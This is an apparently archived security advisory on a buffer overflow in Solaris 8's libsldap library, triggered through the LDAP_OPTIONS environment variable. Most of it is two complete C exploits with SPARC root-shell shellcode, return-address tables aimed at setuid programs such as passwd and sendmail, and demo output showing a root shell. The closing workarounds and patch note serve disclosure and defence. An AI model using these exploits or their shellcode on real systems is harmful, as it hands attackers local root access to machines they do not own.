COMMAND

    libsldap

SYSTEMS AFFECTED

    Solaris 8

PROBLEM

    Jouko Pynnonen  found following.   The library  implementing  LDAP
    naming  services  on  Solaris  8,  libsldap,  contains  a   buffer
    overflow  in   the  initialization   code.    While  parsing   the
    environment variable LDAP_OPTIONS, a fixed size buffer is used  to
    store  its  contents  which  can  be  of  any  length.   This is a
    straightforward  buffer  overflow  and  exploitable in conjunction
    with  privileged  programs  that  use  the library.  Such programs
    include passwd,  yppasswd, nispasswd,  sendmail, and  chkey.   The
    library is only found on Solaris 8 systems.  On vulnerable systems
    the buffer overflow can lead to a local root compromise.

    Testing  for  the  vulnerability  of  your  system  can be done as
    follows:

        $ LDAP_OPTIONS=`perl -e "print 'A'x300"` passwd
        Segmentation Fault

    A segmentation or  other fault indicates  you have a  problem.  If
    the  program  works  normally  (and  asks  your  password), you're
    probably not vulnerable.  Other  setuid binaries can be tested  in
    the same way.  To check whether a program has been linked  against
    the libsldap library, you can use the ldd command.

    As far  as we  know, sway@hack.co.za  did actually  found the hole
    several months.   Exploit is  plain simple,  tested on  an Ultra10
    and an Enterprise 3500 with success.

        $ ./libsldap-exp
        libsldap.so.1 $LDAP_OPTIONS enviroment variable buffer overflow
        Exploit code: noir@gsu.linux.org.tr
        Bug discovery: sway@hack.co.za
        
        Usage: ./libsldap-exp target#
        
        target#: 0, /usr/bin/passwd Solaris8, Sparc64
        target#: 1, /usr/bin/nispasswd Solaris8, Sparc64
        target#: 2, /usr/bin/yppasswd Solaris8, Sparc64
        target#: 3, /usr/bin/chkey Solaris8, Sparc64
        target#: 4, /usr/lib/sendmail Solaris8, Sparc64
        $ ./libsldap-exp 0
        # id
        uid=0(root) gid=0(root)
        #

    /** !!!PRIVATE!!!
     ** noir@gsu.linux.org.tr
     ** libsldap.so.1 $LDAP_OPTIONS enviroment variable overflow exploit;
     **
     **/
    
    #include <stdio.h>
    
    #define ADJUST      1
    
    
    /* anathema@hack.co.za
    ** Solaris/SPARC shellcode
    ** setreuid(0, 0); setregid(0, 0); execve("/bin/sh", args, 0);
    */
    
    char shellcode[] =
    "\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xca\x91\xd0\x20\x08"
    "\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xcb\x91\xd0\x20\x08"
    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
    "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
    "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08";
    
    struct type {
    char *string;
    char *path;
    long retaddr;
    };
    
    struct type target[] =
          {
	    { "0, /usr/bin/passwd Solaris8, Sparc64", "/usr/bin/passwd", 0xffbefe98 },
	    { "1, /usr/bin/nispasswd Solaris8, Sparc64", "/usr/bin/nispasswd", 0xffbefe98 },
	    { "2, /usr/bin/yppasswd Solaris8, Sparc64", "/usr/bin/yppasswd", 0xffbefe98 },
	    { "3, /usr/bin/chkey Solaris8, Sparc64 ", "/usr/bin/chkey", 0xffbefea8 },
	    { "4, /usr/lib/sendmail Solaris8, Sparc64", "/usr/lib/sendmail", 0xffbefeb8 },
	    { NULL, NULL, 0 }
          };
    
    int i;
    unsigned long ret_adr;
    char ldap[4000];
    char egg[400];
    char *envs[] = { ldap, egg, NULL };
    
    main(int argc, char *argv[])
    {
    
          if(!argv[1])
          {
                  fprintf(stderr, "libsldap.so.1 $LDAP_OPTIONS enviroment variable \
    buffer overflow\nExploit code: noir@gsu.linux.org.tr\nBug discovery: sway@hack.co.za\n\nUsage: %s target#\n\n", argv[0]);
          for(i = 0; target[i].string != NULL; i++)
          fprintf(stderr,"target#: %s\n", target[i].string);
          exit(0);
          }
    
      ret_adr = target[atoi(argv[1])].retaddr;
    
      memset(egg, 0x00, sizeof egg);
      for(i = 0 ; i < 400 - strlen(shellcode) ; i +=4)
      *(long *)&egg[i] =  0xa61cc013;
      for (i= 0 ; i < strlen(shellcode); i++)
         egg[200+i]=shellcode[i];
    
     for ( i = 0; i <  ADJUST; i++) ldap[i]=0x58;
     for (i = ADJUST; i < 4000; i+=4)
        {
          ldap[i+3]=ret_adr & 0xff;
          ldap[i+2]=(ret_adr >> 8 ) &0xff;
          ldap[i+1]=(ret_adr >> 16 ) &0xff;
          ldap[i+0]=(ret_adr >> 24 ) &0xff;
        }
    memcpy(ldap, "LDAP_OPTIONS=", 13);
    
    ldap[strlen(ldap) - 3] = 0x00; //ldap[3998] has to be NULL terminated
    
    execle(target[atoi(argv[1])].path, "12341234", (char *)0, envs);
    
    }

    Here is another one:

    #include <stdlib.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <string.h>
    
    
    /* $Id: ldap_exp2.c,v 1.1 2001/06/27 23:01:04 fygrave Exp $
     *
     * victim% ./lod -s 316 -p 5
     * jumping into: ffbefe74 (buf size: 156, soff: 316, stack: ffbefd38)
     * # id
     * uid=0(root) gid=200(em) egid=3(sys)
     * # uname -a
     * SunOS victim 5.8 Generic_108528-06 sun4u sparc SUNW,Ultra-60
     * # ^D
     * victim%
     * Thu Jun 28 05:22:38 ICT 2001
     * Fyodor <fygrave@tigerteam.net>
     */
    
    #define NOP "\x80\x1c\x40\x11"
    #define BUFSIZE 156
    #define LOCALBUF 10000
    #define NOPS     1964
    #define PAD 3
    #define SOFF 664
    
    char shellcode[]=
    
    "\x90\x1a\x40\x09"  /*  xor  %o1, %o1, %o0 */
    "\x82\x10\x20\x17"  /*  mov  0x17, %g1 */
    "\x91\xd0\x20\x08"  /*  ta  8 */
    "\x20\xbf\xff\xff"  /*  bn,a   0x108b4 <main+8> */
    "\x20\xbf\xff\xff"  /*  bn,a   0x108b8 <maino> */
    "\x7f\xff\xff\xff"  /*  call  0x108bc <shellcode> */
    "\x90\x03\xe0\x30"  /*  add  %o7, 0x30, %o0 */
    "\x92\x03\xe0\x28"  /*  add  %o7, 0x28, %o1 */
    "\xc0\x2b\xe0\x38"  /*  clrb  [ %o7 + 0x38 ] */
    "\xd0\x23\xe0\x28"  /*  st  %o0, [ %o7 + 0x28 ] */
    "\xc0\x23\xe0\x2c"  /*  clr  [ %o7 + 0x2c ] */
    "\x82\x10\x20\x0b"  /*  mov  0xb, %g1 */
    "\x91\xd0\x20\x08"  /*  ta  8 */
    "\x82\x10\x20\x01"  /*  mov  1, %g1 */
    "\x91\xd0\x20\x08"  /*  ta  8 */
    "\x41\x41\x41\x41"  /*  AAAA */
    "\x41\x41\x41\x41"  /*  AAAA */
    "\x2f\x62\x69\x6e"  /*  /bin */
    "\x2f\x6b\x73\x68"  /*  /ksh */
    "\x41\x57\x68\x6f";  /*  junk */
    
    extern char *optarg;
    
    unsigned long get_sp(void) {
    
       __asm__("mov %sp,%i0 \n");
    
    }
    
    int main(int argc, char **argv) {
    
        static    char buf[LOCALBUF], *ptr;
        unsigned long addr, bufsize, soff, pad;
        int i, c;
    
        soff = SOFF;
        bufsize = BUFSIZE;
        pad = PAD;
    
        while((c = getopt(argc, argv, "s:b:p:h")) !=EOF)
            switch(c) {
                case 'b':
                    bufsize = strtoul(optarg,NULL,0);
                    break;
                case 's':
                    soff = strtoul(optarg,NULL,0);
                    break;
                case 'p':
                    pad = strtoul(optarg,NULL,0);
                    break;
                case 'h':
                default:
                    fprintf(stderr,"usage: %s [-b buffsize] [-s stackoff] [-p pad]\n",
                    argv[0]);
                    exit(1);
            }
    
    
        bzero(buf, sizeof(buf));
    
        strcpy(buf,"LDAP_OPTIONS=");
        ptr=buf + strlen(buf);
    
        for(i=0;i<bufsize;i++, ptr++) *ptr='A';
    
        addr = get_sp() + soff;
        memcpy(ptr,(char *)&addr, 4);
        memcpy(ptr+4,(char *)&addr, 4);
        ptr+=8;
    
        for(i=0;i<pad;i++, ptr++) *ptr='A';
        for(i=0;i<NOPS;i++, ptr+=4) memcpy(ptr, NOP, 4);
        strcat(buf, shellcode);
    
        putenv(buf);
        fprintf(stderr,"jumping into: %lx (buf size: %i, soff: %i, stack: %lx)\n",
            addr, bufsize, soff, get_sp());
    
        execl("/bin/passwd","lameswd",0);
    }

SOLUTION

    One  workaround  is  to  clear  the  setuid/setgid  bits  of   the
    vulnerable programs (chmod 755 prog), but this will in most  cases
    make them useless.  Another way is to compile a dummy library  and
    replace /usr/lib/libsldap.so.1  with it.   This will  disable  any
    LDAP  functionality  of  the  programs  using  this  library,  but
    otherwise they seem to work. A dummy kludge library can apparently
    be compiled and installed like this:

        $ cp /dev/null dummy.c
        $ gcc -shared dummy.c -o dummy.so
        $ su
        # mv /usr/lib/libsldap.so.1 /usr/lib/orig_libsldap_so
        # cp dummy.so /usr/lib/libsldap.so.1

    This neutralizes the  buffer overflow, but  might also break  some
    things and  have other  side-effects.   If you  do this,  do it on
    your own risk.

    According  to  Sun  Microsystems  they  had  just  discovered  the
    vulnerability themselves and it "has been fixed in the development
    release of Solaris and patches  are being generated for Solaris  8
    presently."